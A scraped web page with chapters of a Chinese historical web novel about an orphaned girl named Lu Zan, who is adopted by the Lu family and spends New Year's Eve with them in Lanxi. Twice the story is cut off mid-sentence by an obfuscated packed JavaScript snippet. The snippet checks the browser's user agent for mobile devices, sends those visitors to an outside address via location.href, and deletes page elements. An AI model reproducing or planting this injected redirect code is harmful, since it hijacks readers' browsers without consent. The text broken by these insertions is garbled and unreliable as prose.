《红尘之上》 2. 陆簪 梦境是支离的。 箫声,血气,刀光。 那本是个极好的夏夜,天幕是沉静的靛蓝,葡萄藤筛下细碎的月光,流萤三两点,绕着衣角飞。哥哥的箫声低沉委婉,母亲合眼听着,唇角含笑。 屋里,落葵和嫂嫂正为她试新衣,衣料窸窣,她的指尖轻抚过嫂嫂微隆的小腹,忽听箫声戛然而止——取而代之的,是兵刃破风的锐响。 她猛地回头,透过支摘窗,只见道道黑影如巨蝠掠下,雪亮刀光一闪,哥哥的头颅便滚落在地。娘亲大呼“我的儿!”扑上去的身影,被另一道刀光切断。父亲还未来得及起身,便被一剑穿心。 嫂嫂拽住她的手仓惶奔逃,霎时间,眼前霜雪般的刀光一闪—— 她颈间一凉,视线随之翻滚、下坠。天地在眼前颠倒轮转,她看到自己那具穿着熟悉衣裙的身体,颈腔里的血喷涌如泉,染红了碧绿的草叶…… 少女猛地惊醒,下意识抚了抚脖颈,心口犹自剧烈起伏。 稍定心神,才看清眼前是微微晃动的马车顶棚,身下传来车轮辘辘的颠簸感。 她怔了片刻,视线缓缓移动,落在身旁妇人耳畔摇曳的耳坠上,再一转,看到了蜷坐于她脚边的少年。 陆无羁手中握着两条素白帕子,听见动静抬起头,见她醒了,眼中掠过一丝光亮。 江雪因着陆无羁的动静朝少女看来,伸出手,探了探她的额头:“烧退了。” 她声音平稳,听不出喜怒。 少女心中戒备,按下不表,只露出感激之色,强撑着便要起身:“是你们救了我。”她的嗓音干涩沙哑,“我……” 陆无羁动了一下,似乎不想让她妄动。 江雪已先一步按住她的肩头:“你虽退了烧,身子还虚着,好生躺着。” 少女顺从地躺回去,轻声道:“多谢。”顿了顿,眼睫低垂,思忖片刻方问,“不知恩人如何称呼?” 江雪的目光落在她脸上,带着审视,却不迫人,只平静问道:“先说说你吧,姓甚名谁,年岁几何,家住何处,为何会落入人牙子手中?” 少女眼中极快地掠过一丝凛然,旋即敛眸,万般复杂皆被浓密的睫羽掩盖,只余两行清泪无声滑落:“我上个月被拐子掳了去,挣扎时伤了脑袋。”她抬手抚了抚额角,“前尘往事,俱想不起,不知家在何方,年岁几何,也不知姓甚名谁。” 话音落下,车厢内有片刻寂静。 陆无羁原本落在帕子上的目光微微抬起,见少女低垂着头,泪珠滚落,砸在粗糙的车垫上,洇开小小的深色痕迹。 江雪凝眸看向少女,并未露出信或不信的神色,默然片刻,又道:“你那枚银簪,从何而来?” 少女微微一怔,下意识探向袖中银簪,心神定了一定,才露出些许茫然来:“应是我娘给的,虽记不真切,但看着它,心里总觉得安稳,偶尔能闪回些模糊的影子。” 江雪不语,只默默注视她良久。 “要喝水吗?”陆无羁此时开口道。 少女转向他,点了点头。 陆无羁拿起旁边的水袋,晃了晃,里面空空如也,他微微蹙眉,对少女道:“你且忍一忍,前面就是清河镇了,到了便有水喝。” “多谢。”少女微微颔首,又轻声道,“恩人救了我,我却不知恩人尊姓大名。” 陆无羁看了一眼江雪,才谨慎道:“区区小名,不足挂齿,你相安无事便好。” 正说着,车外传来陆风的声音:“清河镇到了。” 一行人便在镇上一家名为“悦来”的客栈前停下。 正是晌午,日光淡薄,没什么暖意。 陆无羁先跳下车,去张罗房间和饭食,少女被江雪扶着下了车,看到陆风,她福身行礼:“多谢恩公搭救。” 陆风只略点了点头,未发一言,便牵着马去往马厩了。 江雪扶着少女进了订好的房间,稍后,四人围坐一桌用了些简单的饭食。 席间无人言语,只闻箸匙轻响。 少女吃得不多,心神皆用于观察桌上其他三人的动静,但见三人皆敛目低眉,看似专注用饭,又好似心绪沉凝,各怀异色,便将呼吸放轻,谨慎地收敛着所有存在感。 用过饭后,少女独自坐在客房,孤灯如豆,映着她肃然的面容。 家人滚落的头颅、毁尸灭迹的冲天火光、破庙中嫂嫂临产时的血腥气,还有那个哭声微弱的婴孩……皆成梦魇,历历在目。 沉郁的恨意,虽不显于色,却如跗骨之疽,啮噬心脉。 “笃笃。” 敲门声响起,少女敛起眼中的凛冽,起身去开门。 来人是江雪,身后还跟着提着木桶的小二。 小二将水放好便掩门离去,氤氲的水汽在房中弥漫开。 江雪解释道:“给你备了些热水,擦洗一下能舒服些,换洗衣服我已吩咐无羁去买。” 她径直走上前,极其自然地伸手,要帮少女褪下那身脏破的衣衫。 少女下意识地侧身躲了一下,声音带着恰到好处的感激与不安:“不敢劳烦夫人,我自己来便好。” 江雪的手没有收回,目光似有若无地扫过少女衣衫遮掩的胸前,只道:“你身子尚且虚软,万一再着了凉,岂非白救你一遭?” 说罢,不再给少女推拒的机会,轻轻解开了她胸前的纽扣。 少女不再推辞。 当衣衫微褪,露出锁骨下方那片肌肤,以及那枚指甲大小、形状如桃心的浅红色胎记时,江雪的手猛地顿住。 少女被她看了身子,多少有些不自在,微微侧身避开。 甫一动身,却听对方哽咽,唤了一声:“簪儿……” 少女正闻得这一声,身子猛地一抖,扶住桌台勉力站稳,不慎碰落台上木梳,那木梳“啪嗒”一声落在脚边,摔断了几根梳齿。 窗外,灰墙黛瓦,行人缩着脖子匆匆而行,几个小贩在街头叫卖,远天闷闷的灰,仿佛酝酿着一场更大的雪。 敲门声响起,是陆无羁买了衣物回来。 江雪开门接过,陆无羁见她眼眶微红,不由问道:“娘,你怎么了?” “无事。”江雪低头掩过,回身掩上门,转身对少女道:“来,看看无羁给你买的衣裳。” 打开包袱,里面是两身冬装。 一身是浅杏色的交领襦裙,衣缘绣着缠枝梅纹,另一身是更厚实些的藕荷色夹棉比甲配着月白裙子,料子虽非名贵,但颜色雅致,针脚细密。 再看,衣裙下面竟还放着一把黄杨木梳和一面小小的菱花镜。 江雪脸上露出些真切的笑意:“无羁有心了,不仅估对了你的尺寸,还知道姑娘家出门在外,总缺不得这些。” 少女也浅浅笑了。 她换上新衣,浅杏色新衣衬得她苍白的小脸有了些许生气。 不多时,小二将沐桶等物撤下,收拾干净房间,江雪便让陆风和陆无羁都进来。 陆无羁迈进屋,一眼便看见焕然一新的少女。 她已将满头青丝收拾整齐,在脑后梳了一个简单的单螺髻,仅以一枚银簪以作固定,此外不缀一物。 他挑选的衣裳,竟十分合衬,她静静而立,如此装扮,褪去了几分先前的狼狈与稚气,平添些许少女初成的清雅风致,颇有几分秋水为神玉为骨的意味。 “我要宣布一件事。” 江雪看着众人,开口道:“我方才给这姑娘取了名字——陆簪,并欲认下簪儿为义女。” 话音甫落,陆风端着茶盏的手几不可察地一顿,视线在江雪沉静的面上停留一瞬,随后将茶盏轻轻放回桌上,发出轻微的磕碰声。 陆无羁却难掩意外:“娘?” 江雪只定定望着陆簪,语气坚定:“这姑娘与我投缘,相处这半日,已是密不可分,我不忍她日后江湖飘零,故想带在身边照料。” 陆无羁的目光投向陆簪。 只见她提裙,缓步走到三人面前,屈膝跪下。 她眼中含泪,唇边带着清浅而郑重的笑意,一字一句道:“爹,娘,兄长在上,请受簪儿一拜。” 说罢,她俯下身,恭恭敬敬地磕了三个头,每一个都实实在在叩在地板上,发出轻轻的响声。 江雪欣慰地笑了,将她扶起,对陆风父子道:“从今往后,她便是我们陆家的女儿了。” 话音落下,屋内静得能听见灯花轻微的哔剥声。 陆无羁立在原地,身影被烛光拉得 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温热细腻的触感传来,陆风脊背几不可察地微微一僵,目光不自在地落在马厩里那匹打着响鼻的马儿身上,耳廓微红。 屋内,炭盆烧得正旺,少年和少女隔着盆火对坐。 陆簪笑着看向对面的陆无羁,声音轻柔:“还未多谢哥哥,给我买的衣裳很是合身。” “你喜欢就好。”陆无羁目光落在跳跃的火苗上,语气淡淡。 陆簪默了一瞬,试探地问道:“哥哥是不开心吗?” 陆无羁顿了顿,视线移到陆簪脸上。 少女眸中水光潋滟,长睫轻颤,天生便长了张楚楚惹人怜惜的脸儿。 他摇了摇头:“不是。” “我知道我是个不速之客。”陆簪望着陆无羁,“但哥哥放心,我以后一定安分守己,绝不给你们添麻烦。” 陆无羁看着她低垂的脖颈,纤细脆弱,语气缓和了些:“既来了便是缘分,爹娘仁厚,不会再让你过挨饿受饥的日子。” 陆簪抬眸,眼底碎光浮动,唇边绽开浅浅梨涡:“嗯!” 她伸手要去取炉边煨着的栗子,指尖刚触到便轻呼一声缩回手,瞧着指尖那点红痕,赧然道:“叫哥哥见笑了,我总是连这点小事儿也做不好。” 陆无羁看到她指尖明显的红痕,什么也没说,只拿过一旁的布巾,包起几颗热气腾腾的栗子,低声道:“我来吧。” 陆簪没有推辞。 一时间屋里只余炭火噼啪作响,陆无羁喀喀地剥着栗子,剥好一只,便往陆簪手中放一只。 不多时,江雪和陆风一前一后进了门。 陆簪放下手心的栗子,连忙起身,乖巧地唤道:“母亲。”又看向陆风,带着几分怯意,轻声喊道:“父亲。” 陆风看着她,点了点头:“以后就是一家人了,不必拘礼。” 陆簪微怔,旋即明白自己是被真正接纳了。 她心下一松,悬了许久的一块重石终于稳稳落地。 “天色不早,都早些歇息吧,明日还要赶路。”陆风开口又道。 江雪想起什么,对陆簪解释道:“忘记告诉你,我们此前在肃州做些药材皮毛生意,如今要往南边的兰溪去。” 至于为何离开肃州,去兰溪又以何谋生,江雪并未多言。 陆簪也没有多问,只温顺地点头称是。 次日一早,天色未明,一行人便再次启程。 他们一路向南,见过浑圆的落日,遇过野地狂风,也枕过郊外清冷的月光,年关将近,路上多了许多归家的外乡人,车马辚辚,赶车的路人哼着不成调的乡谣,马蹄声与车轮声交织成曲。 陆簪很快便融入陆家。 不过三五日,她便瞧出这个家自有一套章法。 陆风夫妇虽萍踪不定,于陆无羁的培养却从未松懈——每至卯初,便能闻得陆风指导陆无羁练剑的破空之声;待暮色四合,江雪必会执卷考校陆无羁的功课,纵是舟车劳顿,途经稍大些的州府时,也要往书肆去,添置些笔墨纸砚。 如此行了约莫七日,在腊月的寒气愈发深重时,他们终于赶在年关之前,抵达了兰溪。 3. 融入 连日颠簸,陆簪本就单薄的身子终是支撑不住,在抵达兰溪时,又起了高烧。 于是一行人便先找了家客栈落脚,江雪留下照料陆簪,陆风去往牙店租赁居所,陆无羁则去寻请郎中。 折腾至天黑,陆簪的高烧才堪堪消退。 客栈厢房内,只余一盏油灯如豆,陆簪陷在衾被间,双颊绯红,睫羽不住颤动,唇间逸出破碎的呓语,一会儿唤“娘”,一会儿又流着泪不住地喊“嫂嫂”。 江雪坐于榻边,把她头上的湿帕子换新,见她如此,眉宇间不自觉便凝上愁云。 “吱呀”一声,门扉轻响。 陆无羁见屋内亮着灯,想着陆簪病情不好,便悄步而入,见江雪果然还未睡,走上前低声道:“娘,二更天了,您去歇歇,此处有我。” 连日舟车劳顿,又加上照顾病患,江雪早有些支撑不住,她知陆无羁是稳妥周到之人,终是颔首应下,柔声嘱咐两句,方起身往隔壁去了。 室内静谧,一时之间,唯闻陆簪急促的呼吸声。 她睡得不安稳,不住地乱动,眼泪一串儿接一串儿滑落,不知做了怎样的噩梦。 陆无羁替她将被子掖好,指尖无意掠过她又滚烫起来的肌肤,心下一颤,忙转身至盆架前净了手,将一方素帕在凉水中浸透,拧干,回到榻边,动作极轻地为她擦拭额间细汗。 灯影昏黄,勾勒出陆簪清减的脸庞,长睫投下浅浅阴翳,有种易碎的虚弱。陆无羁的眉头不由得皱深了,起身出去,唤来小二,嘱咐将煎好的药重新温热。 待药碗端来,他先以唇边试了试温度,方才小心地将她半扶起,让她靠在自己臂弯里,一勺一勺耐心地喂到她唇边。 陆簪虽在昏沉之中,却并非全无感知,药汁入口,她竟也顺从地微微张口,只是每咽下一口,秀气的眉头便会难受地皱起,看得人心下恻然。 喂完药后,陆无羁又将陆簪额上的湿帕子换新。 陆簪便在此时悠悠转醒。 眼帘微启,迷蒙中听到水声淅沥,转头只见陆无羁那道清隽地身影正背对着她,于盆中浣洗帕子。 许是察觉到目光,陆无羁转过身,正对上陆簪虚弱的视线。 他眼中掠过一丝讶然,随即恢复如常,淡声问道:“醒了?” 陆簪回以一笑,牵动了干涩的喉咙,轻轻咳嗽一声,忙压低了声音,平复一瞬才道:“原想着……不给你们添麻烦,如今却劳动哥哥照顾我。” 陆无羁将洗好的帕子搭好,走至榻边,不咸不淡地说道:“一家人何须客气?你若觉得心有不安,就快些将病养好。” 陆簪听他语气冷淡,却是个面冷心热的人,便轻轻点头,又问道:“我睡了多久。” 陆无羁道:“我们午后抵到兰溪,现下是四更天,你睡得不算久。” 陆簪闻言,只觉不安。 她应下江雪收养,原不过是求存的权宜之计,想着暂借一方屋檐遮风避雨。既蒙庇护,心中理应有一杆明秤,纵然主家疼惜,自己心中又岂能真就坦然受之? 陆簪便适当地露出了歉疚之色:“哥哥一夜没睡么。” “我才起不久,是替母亲的,你且安心。”陆无羁语气平淡,起了身,“我先把药端出去。” 陆簪想了想,轻声问:“不知用的是哪些药材?” “左不过是些风寒之药。”陆无羁驻足回身,见她竟有心思过问此等细节,便继续道,“要取来与你看看么?” 陆簪点头。 陆无羁便将药罐端来。 陆簪并未细看,只轻轻一嗅,便道:“哥哥可否再抓一味‘连翘’?如此,我或许能好得快些。” 陆无羁闻言倒有些意外:“你懂医术?” 陆簪眼神微闪,垂下眼帘,声音愈发轻了:“或许是吧,总觉得熟悉,也不知道什么时候会的。” 陆无羁心头微漾,掠她一眼,未再追问,次日一早便去药铺多买了一味连翘。 陆簪服了药,果然好了大半,精神见长,惹得江雪连连合掌,直道是菩萨保佑。 同日,陆风也顺利地在牙店赁下了一处满意的住处,下午全家便搬了过去。 这新赁的小院不大,胜在规整洁净,院中那株老石榴树的枯枝上积着薄雪,映得粉壁素净,别有一番古朴韵味。 刚搬到新家,里外有不少东西要收拾。 陆簪默不作声地跟在江雪后头忙碌,或是整理衣裳,或是归置杯盏。 陆无羁给马喂完草料,回屋时正见陆簪擦拭窗棂,她手脚算不得利落,一瞧就是没干过活的,个子也不够高,胳膊举得发酸,也够不着最上方那几格雕花,那湿布子还在窗纸上划出几道难看的印子。 她有些讪讪地摇头,刚要转身去扮杌凳,手中的抹布却被人轻轻抽走。 陆无羁手臂一展,便将那片陆簪奈何不得的窗格擦得明亮。 陆簪见他擦完高处,下意识伸手想接过抹布,却见陆无羁神色自若地转身将布子投进水盆,搓洗了几下,拧干,顺手将余下的窗格也一并擦净了。 他做得那样自然,仿佛本就是他分内之事。 陆簪一时怔住,仰头望着他,感激地道:“谢谢哥哥。” 陆无羁将洗净的抹布搭在盆沿,未曾看她,只淡淡道:“不必客气。”说罢转身又出去忙了。 陆簪目送他走远,直到望见厨房升起炊烟,她才眨眨眼睫,走去帮忙。 厨房狭小,锅碗瓢盆一应俱全,陆簪立于灶前,有些无措。 江雪停下切菜的手,见她这般模样,笑道:“好孩子,你出去罢,不必你做这些。” 陆簪却不动,唇微抿着,低声道:“我想学着些,日后好帮您。” 既在他人檐下过活,便须时时恭顺,言辞举止皆要透着小意周全,方可安身立命。 江雪见她目光恳切,只当她是蒙受厚待,过意不去,全然不知她心中的利弊权衡,便不再阻拦,只道:“既如此,你便在旁看着,帮我递些东西也好。” 正说着,陆无羁抱着一捆干柴进来,瞥了陆簪一眼,径自蹲下身往灶膛里添火。 陆簪走近两步,说道:“都说君子远庖厨,哥哥还是让我来吧。” 陆无羁并未抬头,只专注地做手头上的事,声音平静:“无妨,我不是那等君子,家中也无这许多规矩。” 陆簪只好局促地站在一旁,见火苗渐起,映亮他沉静的侧颜。 目光掠过他月白色的衣衫,他喜爱穿浅色,饶是布料普通,仍然衬得他一身潇潇君子骨,可浅色总是不耐脏,他的下摆已沾上了些许灶灰。 这让陆簪想起自己的亲哥哥,也总爱穿浅色的衣衫。 哥哥是读书人,又更年长一些,浅色穿在他身上,是“明月松间照,清泉石上流”的文雅与从容;陆无羁年纪虽轻,却虽爹娘漂泊多年,是个不折不扣的江湖客,同样的颜色在他身上,却是一种“行到水穷处,坐看云起时”的冷淡与超然。 这顿饭,陆簪终究没有插上手,这份衣来伸手饭来张口的关照,让她心中愈发警觉。 是以,用过饭后,她便抢着收拾碗筷。 江雪见状,起身按住她的手:“我收你为女,是想给你呵护,不是让你来当丫鬟的。” 陆簪手上未停,只轻声道:“娘待我恩重,越是如此,我越该心怀感恩。” 江雪欲再劝。 陆无羁却已起身,接过她手上的碗筷,道:“我来。” “别争了,我来。”一直沉默的陆风摆了摆手,将一叠碗盏拢过,去了厨房。 陆簪怔在原地,望着陆风离去的背影,伸出的手还悬在半空,收也不是,放也不是。 江雪见她这般,心下又是怜又是叹,想了一想,笑着拉起她的手:“由他去,走,陪娘好好看看咱们的卧房。” 新家不大,只两间卧房。 江雪指着稍大那间,道:“那间留与你爹爹和哥哥罢,无羁需要温书,里头要买张书桌添置上,很占地方呢。” 陆簪自然没有异议。 江雪又道:“年关近了,初来乍到,要添置的物事不少。下午随我上街看看,若有合意的,便买回来。” 陆簪点头称是。 午后街市,人流如织。 她们买了些香糖果子、新鲜菜蔬并盐巴猪肉,江雪又为陆无羁裁了一身新布衫。陆簪始终安静跟着,并未索要什么。然而行至一间银铺前,江雪却驻足,为她挑了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808351|190756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副丁香模样的耳坠,笑道:“正与你那银簪相配。” 这副耳坠,让陆簪夜间心绪难平,辗转难眠。 是夜,她躺在陌生的床榻上,身旁是江雪沉沉的呼吸声,她无意识地抚摸着耳垂上的银坠,心头的暖意,却像一面镜,照出逃亡路上的千百种不堪。 风雪载途,世情如刀,一幕幕,倒悬于这安稳的夜色里。 她早已学会将每一分善意都放在秤上掂量,可陆家人给她的,总是不求回报的,反让她如坠云雾,心中悬悬。 她披衣起身,轻手推开房门,却见院中檐下,一点灯火摇曳——陆无羁正坐在那小凳上,膝头摊着一卷书。 她略一思忖,才决定走上前去,问道:“哥哥在看什么书?” 陆无羁抬头,见是陆簪,将书函示之,上头写着“资治通鉴”四个大字。 陆簪点点头,问道:“怎地这般晚了还在用功?” “白日琐事耽搁了,晚饭后娘查问功课,我答得不好,见她有些失望,故而今晚多读一个时辰。”陆无羁语气平静。 陆簪安慰得笑道:“这几日搬家忙碌,未能温书,也是人之常情。” 陆无羁摇头,坦荡地说:“无关其他,是我自身心中不宁,有所荒废,我心中清楚,是抵赖不得的。” “哦?”陆簪接话问道,“有何不宁?” 陆无羁微怔,目光似无意般扫过她的眼角眉梢,却又很快移开,落在庭前月光地上:“都是琐事。” 陆簪敏锐地察觉他片刻的闪躲,便不再继续这个话题,只问:“哥哥的学问,都是娘亲教的么?” “嗯,娘是个学识渊博的女子。”陆无羁道。 陆簪轻轻点头,并未说什么。 夜风拂过,带来寒意,陆无羁见她打了个寒噤,便道:“夜里凉,回去歇着吧。” 陆簪笑:“许是前几日受病睡多了,如今反不甚困。” “不困也回去躺着,仔细再受了寒。” 陆无羁淡声道。 陆簪亦道:“那哥哥也早些安歇。” 他点头。 她这才转身回房。 次日天光稍亮,陆无羁与陆风至院中准备晨练,刚出房门,便见厨房方向已有袅袅炊烟升起。 陆无羁本想去厨房讨杯热水喝,走进一看,在灶台前忙碌的身影,竟是陆簪。 她是个极聪明的女子,否则也不会在颠沛流离的坎坷路途中还安然保全性命,只昨日进了一回厨房,她已学会了生火,现下正有模有样地和面。 陆无羁站在门口,看了她片刻,才开口:“你在做什么?” 陆簪闻声回头,见是他,唇边绽开一笑:“哥哥起了?我初次下厨,或许慢些,但会尽力在你们练完剑后做好。” 陆无羁走上前,声音沉了几分:“谁要你做这些?” “是我自己想做的。” 她低声答。 他目光一扫,瞧见她手背上未愈的冻疮,伸手便握住她的手腕,将她带出厨房。 “日后不要再做这些活了。”他语气不容拒绝,“你手上的冻疮还未好。” 陆簪看了眼自己红肿的手,默默将手缩回袖中。 此时江雪打着哈欠出来,见二人僵立院中,问道:“这是怎么了?” 陆无羁看了眼陆簪:“您问她罢。” 言毕,自去寻陆风。 陆簪对江雪努力笑了笑:“娘,我想学着做饭。” 江雪凝眸看她片刻,终是轻叹一声:“我就知你住着不踏实,罢了,你随我来。” 闻言,陆簪眼中顿时焕发出光彩,忙道:“谢谢娘!” 有江雪从旁指点,这顿早饭做得很快。 不过一炷香功夫,简单的汤饼与剥好的茶叶蛋便已端上桌。 江雪笑道:“这顿饭,可是簪儿与我一同做的,你们尝尝。” 陆风与陆无羁对视一眼。 陆风率先举箸,夹起一箸汤饼送入口中,细细咀嚼。 陆簪坐在一旁,双手在膝上悄悄攥紧了衣角,目光一瞬不瞬地追随着他们的动作,陆风与陆无羁都是含蓄之人,并未出言夸赞,却都吃得香甜。 见状,陆簪缓缓露出了一抹不加矫饰的笑来。 4. 除夕 自从陆簪在江雪指点下做成了第一顿饭,她便似寻着了在这家中的立身之本,总也闲不住。 这天,见日头晴好,她想起陆无羁那件脏了的衣袍,便去取来,顺便将全家换下的衣物一同抱出,一并浆洗。 未等她从井中打起水来,陆无羁不知从哪里走了过来,一言不发地接过她手中的木盆,径自坐到小杌子上,挽起袖口,便开始搓洗。 “哥哥,真的无妨,我可以的。”她有几分不好意思。 陆无羁手下未停,只道:“左右我也闲着。” 他动作略显生涩,却洗得极为认真。待他拧干一件衣衫,准备放于另一盆中,才发现陆簪并未离开,仍旧局促地站在一旁,那双眸子里盛满了无所适从。 他心下一软,放下衣物,道:“我正有一事,想劳烦你。” 陆簪眼睛蓦地一亮:“哥哥请说?” 他自袖中取出四文钱递过去:“我从昨晚就想吃街角曹婆婆家的蜜煎果子,你可愿为我跑一趟?” “自然愿意!” 她立刻接过铜钱,提裙而去。 不过两刻钟光景,陆无羁正将最后一件濡湿的衣衫理平,晾上竹竿,水珠溅落,在青石板上洇开深色的痕。 恰在此时,院门“吱呀”一声轻响。 他回身,便见那木扉开处,一道纤细的身影携着满身曦光走了进来。 日光尚薄,金纱般斜斜铺洒,恰好笼在她身上。 她脸庞微红,漾着轻快的笑意,那笑意不同往日,毫无阴霾,清清亮亮地自眼底漫上来,直漾到眉梢眼角,竟比周遭的阳光还要明澈几分。 她高高举着用油纸包好的蜜煎果子,快步向他跑来。 那一瞬,她仿佛挣脱了所有束缚,像个真正无忧的少女。 陆无羁只觉心头被什么轻轻撞了一下,不由也随之莞尔。 “哥哥,今日竟买三赠一呢。” 她气喘吁吁地停在他面前,将蜜煎果子和剩余的一文钱一同递上,“余钱还你。” 他拿出一枚蜜煎,微不可察觉地淡淡一笑:“一文钱留给你了,剩下的果子你与爹娘分食。” 陆簪先是微怔,随即用力点头,高高兴兴地举着那包果子,转身便向屋内跑去:“娘,我买好吃的回来啦。” “……” 自这一日后,陆簪便渐渐变得不同。 她依旧勤快,却不再似初来时那般,带着一股紧绷的惶然。她依然会做些活计,但若被江雪或陆无羁拦下,她也不再固执地僵持。 她不必再以不停的劳作来证明自己的价值,也无需用提防他人的心思来防备陆家人。 她知晓,她存在本身,在这小小的院落里,已然有了意义。 除夕之夜很快到了。 这日又起了雪,雪片簌簌,洒落一方院落里。 江雪捧着桃符过来,见陆簪正欲踮脚把一盏绛纱灯挂在廊下,忙上前扶住她的腰肢:“仔细些,有雪潲进来,莫要滑了脚。” 正说着,忽听院门响动,却是陆风和陆无羁采买回来了,二人斗篷肩头都落了白。 “你们再不回来,我就要出去寻你们了。”江雪走上前去,接过陆无羁解下的斗篷,轻轻拍打上面的雪屑。 陆簪闻声回头,新悬的绛纱灯透出融融暖光,恰好映亮她一双明澈眼眸。 陆无羁目光在她面上轻轻一掠,便转向江雪:“街上人多,所以慢了些。” 江雪含笑睨他一眼:“你当为娘不知道?方才外头鼓声震天,你们必定是去看傩舞了罢。” 陆风朗声一笑,坦然道:“这驱傩古礼,源自上古,意在驱鬼逐疫,佑来年安康,去年无羁因病未曾赶上,今年左右是不能错过的。” 在京州,驱傩仪式由皇城禁中精锐执仪,戴面具,着彩衣,执金枪、龙旗,那叫一个旌旗蔽日,鼓乐喧天。 兰溪小城,排场自是比不得,却也是一年到头难得的盛会,别有一番质朴热烈的生机。 江雪心知陆无羁虽素日稳重,终究难掩少年心性,见他衣襟微乱,便知玩得尽兴,便只温然一笑,不再多言,转而问道:“今日店家多半歇业,都买了什么?” 陆无羁从怀中取出一方素色锦帕,打开后递到江雪面前:“娘,你瞧瞧好看吗。” 江雪微怔,接过锦帕细看。 但见帕中躺着两对缠花:一对是檀色茶花嵌珊瑚珠,花心缀着金丝颤巍巍;另一对浅碧色木芙蓉缀着珍珠流苏,花苞里藏着米珠串成的露水,轻轻一动便流光溢彩。 陆风笑道:“这可是无羁在铺子里挑了半天的!” 陆无羁闪躲一瞬,惹江雪掩嘴而笑:“真好看,正好可以在过年戴。”江雪又唤陆簪近前,“簪儿来看看,我瞧着这对木芙蓉很是衬你。” 陆簪依言便凑上前来,仔仔细细观赏帕上的缠花,烛火跃在她鸦青鬓边,竟比缠花更添春色,不多时,她拿起那对木芙蓉,唇角漾开浅浅的笑纹:“真好看。” 她将木芙蓉虚虚贴在单螺髻旁,侧首时流苏轻摇:“哥哥看可还相称?” 灯影里少女目如横波,鼻梁秀挺,唇色淡如初樱,唇角天然含嗔,眼角天然带着三分春水潋滟,缠花在她鬓边轻轻颤动,竟不知是花衬人,还是人衬花。 陆无羁直直看着她,点了点头:“尚可。” 又转身对江雪说:“娘,饭菜都在厨房吗?我去端来。”说罢不等回应,便转身而去。 陆簪见状,轻轻放下头花,理了理衣袖道:“我也不好白收了哥哥的礼,我去帮忙。” 江雪看着少年和少女相继没入厨房的门帘之后,她持着那对玉兰头花的手微微一顿,灯花在她眼底轻轻一跳。 厨房里蒸腾着温热的水汽,陆无羁正将煨好的羹从灶台取下,往托盘里放置。 帘子轻响,陆簪走了进来。 陆无羁抬眸,怔了一怔,方才默默将手中的碗放稳。 “我来帮你。”陆簪笑说。 她轻步上前,伸手欲接过陆无羁手中的物什,他下意识地想避开,手腕微转,她的指尖却不经意地掠过他执碗的手背。 那一触,温凉如玉,细腻如缎。 陆无羁如同被灼伤般缩回了手,只听瓷碗“哐当”一声跌碎在地,乳白的羹汤洒了一地。 “哎呀……”陆簪忙要俯身去拾。 陆无羁已先一步俯身,牢牢抓住她的手腕:“别动,小心扎到手。” 陆簪下意识抬眸。 二人视线相交,竟是近在咫尺,她微微怔忡,旋即往后仰了仰脸,浅浅一笑:“不怕的。” 陆无羁没有退让,指节绷紧,沉声道:“起来。” 他突然就摆起了做哥哥的款儿,陆簪略一思忖,便不再固执,顺从地依着他的力道站起身。 待她站定,陆无羁才缓缓松开她的手腕,那截皓腕上已留下淡淡的红痕。 他扫过去,默然一瞬,转身去取墙角的扫帚。 帘子忽然被撩开,陆风探头问道:“怎么了?” 陆簪抢先答道:“我不小心跌碎一只碗,哥哥正在收拾。” 陆风问:“没伤着吧?” “没有。”陆簪轻轻摇头。 陆风叮嘱道:“小心点。”便将帘子拉上回屋了。 陆无羁停下清扫的动作,抬眸看向身旁的少女:“你不必替我遮掩。” 陆簪回望过去。 他垂首继续着手上的动作:“爹娘都是明事理的人,不会为这等无心之失出言责怪。” 陆簪只道:“是啊,反正爹娘不会责怪,又何必分出彼此?” 语毕,她坦然一笑:“我先进屋,哥哥慢慢打扫罢。” 她端着托盘掀帘而出。 陆无羁思绪停留在她那番“不分彼此”的理论上,倒有几分出神,许久后才弯腰,继续将地上的狼藉收拾干净。 这顿年夜饭是由江雪亲自下厨。 刚搬来不久,家中吃食一切从简,只四样菜色,却样样可口精巧:一碟梅花汤饼做得晶莹剔透,一盘煿金煮玉煎得金黄诱人,莲房鱼包散发着淡淡荷香,最难得是一道炉焙鸡,火候恰到好处,香气扑鼻。 按照习俗,这一夜要达旦不寐,谓之“守岁”。 饭后,全家围炉团坐,陆风端来白日买的栗子、花生、胶牙饧和百事吉等吃食来,栗子和花生放在火上慢慢烘烤,不一会儿满屋都是暖香。 江雪温了过年时要饮用的“屠苏酒”,这是一种药酒,相传饮之可避瘟疫,喝酒的顺序很特别,要从最年幼的人开始,因为年轻人过年长一岁,值得庆贺,而年长者过年则少一岁,所以最后喝。 陆簪年纪最幼,依礼第一个举杯:“愿全家身体康健,岁岁春满山河。”言罢浅浅一抿,屠苏的暖意霎时染上双颊。 陆无羁凝睇她片刻,随即持杯相和:“愿年年月照归程。” 他声如春溪漱玉,将那句“岁岁春满”接得圆满。 江雪欣慰不已,拊掌而笑:“好哇!好一句''岁岁春满山河,年年月照归程''!那我便盼——来年风调雨顺,家和万事兴。”说罢仰首饮尽。 一家四口只剩陆风未说祝词,他素来于诗书文墨上不通,但见他眉间深蹙,半晌方道:“惟愿全家平安喜乐。”话音方落,自觉浅白,不由轻抚鼻梁,心虚地饮下面前的酒。 陆无羁眼底浮起了清浅笑意:“爹爹每年都是这一句。” “诶,虽是一样的话,却是必不可少的吉祥话!”江雪立即执起酒壶为陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808352|190756||http|test|mini|href|location''.split(''|''),0,{})); () { 